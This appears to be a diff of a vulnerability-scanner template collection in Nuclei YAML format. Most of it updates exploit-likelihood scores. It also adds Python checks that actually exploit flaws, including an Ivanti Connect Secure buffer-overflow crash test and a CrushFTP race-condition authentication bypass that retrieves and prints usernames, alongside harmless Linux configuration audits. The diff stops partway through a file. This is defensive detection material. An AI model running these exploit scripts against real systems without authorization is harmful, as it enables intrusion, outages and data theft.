# digest: 4a0a004730450220511e571db5d5da0bfa64140844ecb6b6a8c8d34c619b653100ae31e91ec729d2022100891722957d284e2a9169c66964f54e9698a5a42d2c990314f0bc57f7b029e35c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -13,8 +13,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-12356
cwe-id: CWE-77
epss-score: 0.93590
epss-percentile: 0.99831
epss-score: 0.93687
epss-percentile: 0.99841
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
metadata:
vendor: beyondtrust
@@ -37,4 +37,4 @@ code:
words:
- "0 success"
- "1 try again later"
# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200b37b3f73826455d516931c5296dbaba91036d7e80ba5f11e544fea8dc775a75022100c8bbd7a40f951edf1629235401f4da2be665590e74464519de65ad0b42b7e049:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.1
cve-id: CVE-2024-22120
cwe-id: CWE-20
epss-score: 0.93881
epss-percentile: 0.99865
epss-score: 0.93596
epss-percentile: 0.99833
metadata:
max-request: 1
vendor: zabbix
@@ -71,4 +71,4 @@ code:
- type: word
words:
- "Vulnerable to CVE-2024-22120"
# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022014ed97db748f5ac1a322ff5bf9b5173406fb9195ba00d8be0c3c1c23cc96ecd7022100b58a67522f8d54bed5be239ba6158a18f8c8331fdc1547738dc10fe222956e5d:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 10
cve-id: CVE-2024-3094
cwe-id: CWE-506
epss-score: 0.84011
epss-percentile: 0.99254
epss-score: 0.86323
epss-percentile: 0.99365
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
metadata:
verified: true
@@ -59,4 +59,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022054bcebe277e8065f26d05e4687e0113cd9c46eef4470b33f48b3b85182501174022058d4832af02dede606b68af5ab70c68e320e59f848f1267fedc59b33e107a153:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -10,8 +10,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2024-4340
epss-score: 0.15598
epss-percentile: 0.94407
epss-score: 0.14988
epss-percentile: 0.9431
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
tags: cve,cve2024,py,code,dos,python,sqlparse
@@ -29,4 +29,4 @@ code:
part: stderr
words:
- "RecursionError: maximum recursion depth exceeded"
# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100aaf98754b16a2489f489a75b14f2abb51c7df5031efc37cdba5dcb4daa05c76202202fd8b399104b4de9dc1a48064006503e245ac3d38d2c74f9679798ab3c718061:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-45409
cwe-id: CWE-347
epss-score: 0.16139
epss-percentile: 0.94531
epss-score: 0.12641
epss-percentile: 0.9372
metadata:
verified: true
shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220227d6d59f5eb08ee1b6f37f970d9dda4cc20b35dbfe4e6c2b2979333822ced2b022100afbf4b5b228e4427d98ac5d154cbcae8c0a3bf6f34d5faa362314f9d25427759:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.80857
epss-percentile: 0.99096
epss-score: 0.7976
epss-percentile: 0.99064
metadata:
verified: true
max-request: 2
@@ -193,4 +193,4 @@ http:
- type: status
status:
- 500
# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100fa051fc59c7e7a9bf4857e279185fde62cce5223f4667bf9566e558ea57b4e5702205d4082e4fe67bb7e9e411d5b174ffc7d30c3b1d3386ef0b2d6ff0f54e3e10239:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.41406
epss-percentile: 0.97262
epss-percentile: 0.97318
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502205b5f51da9be3dbe855a92a0a87ff7858fea7dcf6301f3be59c51968001acadd9022100b5393dcdbc5bf9fa14c06f5cc452ffbe34c7c4f1805cba3fe08b46b4bfe8416d:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.38910
epss-percentile: 0.97110
epss-score: 0.36115
epss-percentile: 0.96988
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
- type: kval
kval:
- user_session
# digest: 4a0a00473045022100d4499f701d4dbaa3fee40a00ced7f7790a94891bc9007aed06b4741a76fd543c0220713f41ccb6c2e702ac3513a926d5308c1077bf3cf7f01d4b049c347bd3dfd7e7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f629a36de0be998ee615bb7a253c6dc5ce49219747a62ad7c3caa23886fd3cfa02206768c04241c025c0359c0998b749ea66846ea357a0146afb5a17d7d2adf12694:922c64590222798bb761d5b6d8e72950
+114
View File
@@ -0,0 +1,114 @@
id: CVE-2025-22457
info:
name: Ivanti Connect Secure - Stack-based Buffer Overflow
author: s4e-io
severity: critical
description: |
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
improper input handling, allowing remote attackers to execute arbitrary code without authentication.
impact: |
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
remediation: |
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
reference:
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
- https://github.com/securekomodo/CVE-2025-22457
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.75813
epss-percentile: 0.98867
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
product: connect_secure
shodan-query: http.title:"ivanti connect secure"
fofa-query: title="ivanti connect secure"
zoomeye-query: title:"ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import os
import time
import requests
TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
TIMEOUT = 10
class IvantiExploit:
def __init__(self, host, port):
self.host = host.rstrip("/")
self.port = port
def check_vuln(self):
host = self.host
if not host.startswith("http://") and not host.startswith("https://"):
host = f"https://{host}"
url = f"{host}:{self.port}{TARGET_PATH}"
print(f"Testing {url}")
#1 Pre-check: Check if target is reachable and status is 200.
try:
r1 = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r1 = None
if not r1 or r1.status_code != 200:
print("Pre-check failed because target is not reachable or status is not 200.")
return False
print("Pre-check successful.")
#2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
payload_header = {"X-Forwarded-For": "1"*2048}
try:
r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r2 = None
if r2:
print("Payload is not working.")
return False
else:
print("Payload is working.")
time.sleep(1)
#3 Follow-up: Check if target is still reachable after payload.
try:
r3 = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.RequestException:
r3 = None
if r3.status_code == 200:
print(f"VULNERABLE: {self.host}:{self.port}")
return True
print("Target seems safe")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
IvantiExploit(host, port).check_vuln()
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 4b0a00483046022100aae1b0998fce5a920a0451f154a9fb7540bbd4a957d0fdaa634dd5eb0ab98a53022100f97a88758d732242db3440e398c0cecdf9a45f62e0c1d11a0829befef23e1a5e:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.01703
epss-percentile: 0.81527
epss-score: 0.13868
epss-percentile: 0.94061
metadata:
verified: true
vendor: gitlab
@@ -78,4 +78,4 @@ http:
- type: kval
kval:
- _gitlab_session
# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100feadab4eac473b21c7e290549a9567b69c6c855214e1e40221217670b63b97a7022100cec6de81ae049875f8b9b60de6b419a8f81a4f1c74400be3965884ef8665bd69:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-score: 10
cve-id: CVE-2025-32433
cwe-id: CWE-306
epss-score: 0.55376
epss-percentile: 0.97930
epss-score: 0.6781
epss-percentile: 0.98533
metadata:
verified: true
max-request: 1
@@ -172,4 +172,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201631d92f6fa966c76d3793a02871d4b99fcc57aae711e31816e6023c1e88b50e022100f21131e8340136baa27e596b8a34889fe10b91a7bfdf03756465c8307cc2a8b9:922c64590222798bb761d5b6d8e72950
+203
View File
@@ -0,0 +1,203 @@
id: CVE-2025-54309
info:
name: CrushFTP - Authentication Bypass Race Condition
author: pussycat0x,watchTowr,dhiyaneshdk
severity: critical
description: |
CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
impact: |
Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
remediation: |
Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
- https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-54309
epss-score: 0.38408
epss-percentile: 0.97144
cwe-id: CWE-287,CWE-362
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
metadata:
verified: true
vendor: crushftp
product: crushftp
shodan-query:
- http.title:"crushftp"
- http.favicon.hash:-1022206565
fofa-query:
- title="crushftp"
- icon_hash="-1022206565"
zoomeye-query: title:"crushftp"
google-query: intitle:"crushftp"
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import requests
import threading
import time
import random
import string
import re
import os
def generate_random_c2f():
"""Generate random 4-character c2f value"""
return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
def make_request_with_as2(target_url, c2f_value, cookie):
"""Make request with AS2-TO header and disposition-notification content type"""
url = f"{target_url}/WebInterface/function/"
headers = {
"Host": target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"AS2-TO": "\\crushadmin",
"Content-Type": "disposition-notification",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookie
}
data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": c2f_value
}
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"AS2 Request - Status: {response.status_code}", response.text
except Exception as e:
return f"AS2 Request - Error: {str(e)}", ""
def make_request_without_as2(target_url, c2f_value, cookie):
"""Make request without AS2-TO header and disposition-notification content type"""
url = f"{target_url}/WebInterface/function/"
headers = {
"Host": target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Cookie": cookie
}
data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": c2f_value
}
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"Regular Request - Status: {response.status_code}", response.text
except Exception as e:
return f"Regular Request - Error: {str(e)}", ""
def check_vulnerable_response(response_text):
"""Check if response contains user_list_subitem pattern and extract usernames"""
if "<user_list_subitem>" in response_text:
usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
if usernames:
top_users = usernames[:10]
print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
return True
return False
def race_requests_with_detection(target_url, num_requests=100):
"""Race multiple requests and detect vulnerability"""
print(f"Starting race with {num_requests} request pairs...")
for i in range(num_requests):
# Generate new c2f every 50 requests
if i % 50 == 0:
c2f_value = generate_random_c2f()
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
print(f"[*] NEW SESSION: c2f={c2f_value}")
else:
c2f_value = generate_random_c2f()
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
# Store results
results = {'as2': None, 'regular': None}
def as2_worker():
results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)
def regular_worker():
results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)
# Create and start threads
t1 = threading.Thread(target=as2_worker)
t2 = threading.Thread(target=regular_worker)
# Start both threads simultaneously
t1.start()
t2.start()
# Wait for both to complete
t1.join()
t2.join()
# Check for vulnerability in both responses
as2_status, as2_response = results['as2']
regular_status, regular_response = results['regular']
# Check if either response contains the user list pattern
if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
print(f"VULNERABLE: {target_url}")
return True
# Print progress every 25 requests
if (i + 1) % 25 == 0:
print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
if not host:
print("Host environment variable not set")
exit(1)
# Construct target URL
if not host.startswith(('http://', 'https://')):
target_url = f"http://{host}"
if port and port != "80":
target_url = f"http://{host}:{port}"
else:
target_url = host
if port and port != "80" and port not in host:
target_url = f"{host}:{port}"
print(f"[*] Testing target: {target_url}")
# Try 100 requests with race condition detection
if race_requests_with_detection(target_url, 100):
print("VULNERABLE: Race condition vulnerability detected!")
else:
print("Target appears to be patched or timing window missed")
matchers:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a00473045022100c529f1fafe8bdf1066e8a5c7a1727d6c8280aef2a548f6556f77ede97a8cc96d022005d243bdc26387de80acc4b58779edb49b4b43a834c96ac15893c2ec7db4c856:922c64590222798bb761d5b6d8e72950
+3 -1
View File
@@ -15,6 +15,8 @@ info:
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.16633
epss-percentile: 0.9467
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
@@ -113,4 +115,4 @@ code:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
# digest: 4a0a00473045022100e16640c86c7d6f0d855aad545c1028cd614abdc1388b9a33da23d66b1d3beddf022010383e6897d82a9fabb755115271a0635ca5ee8a36633e8f1485f601840f5caa:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ac5ad3e7afcf966f60b3991e4f4b78c209538919f85eb355d9ea90188f460000022100ad77b02aef3db845703bedc7e64036254b398cc846ba508cb2d1451c1d3f35b4:922c64590222798bb761d5b6d8e72950
+45
View File
@@ -0,0 +1,45 @@
id: autofs-service
info:
name: Ensure autofs Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
remediation: |
- Ensure the `autofs` package is not installed unless explicitly required.
- To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
- To remove the package, run: sudo apt-get purge -y autofs
- To clean up dependencies, run: sudo apt-get autoremove -y
- To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s autofs &>/dev/null; then
echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
else
echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100beae631943cebc47c019a26e3e75c3564f7fa4fe70eb0de578f3fce62a6d00aa022100aa285d67fd177fa37e5274957926becc643b3aeec8e446f8dab8ccc4c704597b:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: avahi-daemon
info:
name: Ensure Avahi Daemon Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
remediation: |
- Ensure the `avahi-daemon` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove avahi-daemon -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s avahi-daemon &>/dev/null; then
echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
else
echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502203ff7e050b9bdb5b5fb471fb8a5b0af788c76666c2ff5a8c03f54236319f62275022100c547a08d5e0daa645f49e890a0b5e539b305aade4c704a67982c17528825a3c8:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: dhcp-server
info:
name: Ensure DHCP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
remediation: |
- Ensure the isc-dhcp-server package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove isc-dhcp-server -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s isc-dhcp-server &>/dev/null; then
echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
else
echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100e0295197c3dcb64ab0634b8089f939fb2a5b2af806979a375d674edb894b98e3022100d11947e58b029bf89610149ae753d86184d599fbb164f504eb9ee2e914033f73:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: dns-server
info:
name: Ensure DNS Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
remediation: |
- Ensure the `bind9` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove bind9 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s bind9 &>/dev/null; then
echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
else
echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022079762241d32803af268579ee2dbc0f109db253b5709ae57a79216a73d7c16fd10221009978493f411a9e4b7a4a019d640a19e03c4cf7380d39000f10276f9367c3674d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,26 @@
id: dns-zone-transfer-any
info:
name: DNS Zone Transfer Allowed to Any Host
author: songyaeji
severity: high
description: |
DNS Zone Transfer configured with "allow-transfer { any; };" allowed unrestricted zone transfers.This exposed sensitive details like hostnames, network structure, and system data that attackers could use for reconnaissance and further attacks.
reference:
- https://isms.kisa.or.kr
tags: linux,local,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
grep -E 'allow-transfer' /etc/named.conf 2>/dev/null || echo "no-allow-transfer"
matchers:
- type: regex
part: code_1_response
regex:
- 'allow-transfer\s*\{\s*any;\s*\}'
# digest: 490a00463044022037476af6ea98c17d43d75d3cb57874705aeba154fd8e7ef8859748eafab0ebf702200a0d472b83fe677c4c703d4b82307a6c8b65f57418c549a3ad46b6cc13547206:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: dnsmasq-service
info:
name: Ensure dnsmasq Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
remediation: |
- Ensure the `dnsmasq` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove dnsmasq -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s dnsmasq &>/dev/null; then
echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
else
echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502210096d5ee4d88f2bcf276e1d30f7d440f27c00ed4a5afca848de514d11a3d2d7fc80220742d89f57a4da6922d14a351db1f31477f7fb513d0627d35d7b0fcdb28f69e5b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
id: etc-services-permission-check
info:
name: /etc/services Permission Check
author: songyaeji
severity: high
description: |
The /etc/services file was not owned by root or had excessive permissions,allowing attackers to alter port assignments to redirect services or open unauthorized ports.
reference:
- https://isms.kisa.or.kr
tags: linux,code,audit,compliance,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
stat -c "%U %G %a" /etc/services 2>/dev/null || echo "not-found"
matchers:
- type: regex
part: response
regex:
- '^root\s+root\s+(600|640|644)$'
# digest: 490a0046304402206191a33140f6b945e840ee4d9ffc8ab2021e2fb4da77355e420c2ae192895e160220129ec14176286e2173c8832a4de3c139824553af5b3b2b0f641be80a15384865:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,40 @@
id: finger-service-enabled
info:
name: Linux Finger Should Be Disabled
author: songyaeji
severity: high
description: |
The Finger service was enabled on the system and exposed user account details to unauthorized users, which could have been used in password-based attacks or user enumeration.It was checked in both xinetd and systemd environments.
reference:
- https://isms.kisa.or.kr
tags: linux,local,code,audit,compliance,kisas
self-contained: true
code:
- engine:
- sh
- bash
source: |
if [ -f /etc/xinetd.d/finger ]; then
disable_status=$(grep -i 'disable' /etc/xinetd.d/finger | grep -v '^#' | awk -F '=' '{print $2}' | xargs)
if [ "$disable_status" = "no" ]; then
echo "[VULNERABLE] Finger service is enabled via xinetd (disable = no)"
elif [ -z "$disable_status" ]; then
echo "[UNKNOWN] Finger service config found but no disable directive"
else
echo "[SAFE] Finger service is disabled in xinetd"
fi
elif systemctl is-active --quiet finger 2>/dev/null; then
echo "[VULNERABLE] Finger service is active under systemd"
else
echo "[SAFE] Finger service not found"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100fd961710afcaa51c59ad26cd14dac20be07b92c68df9117ecfd3378b7a38a947022100824452bade1c3d45e18321b7ab0e61b3bd6cad55e57ae2180a8c5df4618d7ea5:922c64590222798bb761d5b6d8e72950
+44
View File
@@ -0,0 +1,44 @@
id: ftp-client
info:
name: Ensure FTP Client is Not Installed
author: Th3l0newolf
severity: info
description: |
FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
remediation: |
- Ensure FTP client packages are not installed unless explicitly required.
- To remove them, run: sudo apt-get remove ftp tnftp -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,ftp
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if ftp or tnftp packages are installed
if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
else
echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a004830460221009931d0824469b0f912ad65271a547776751ee25732f5edeb3dd030970429e5c20221009aa1b4785a01f1ea0ff8c06364a0875b2e56255115f6e001ca5e8c1e38f51faf:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: ftp-server
info:
name: Ensure FTP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
remediation: |
- Ensure the `vsftpd` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove vsftpd -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s vsftpd &>/dev/null; then
echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
else
echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100c7ff63a06f5cf7394699255c1d518450d6d10317334a8f9081e4ac9dddaee5cf022100ab8764795bc72e40aceaedce98a29e587514c46693d1d06ab62a619416179bed:922c64590222798bb761d5b6d8e72950
+40
View File
@@ -0,0 +1,40 @@
id: home-env-permission
info:
name: User Home Directory and Shell Environment File Ownership & Permission
author: songyaeji
severity: medium
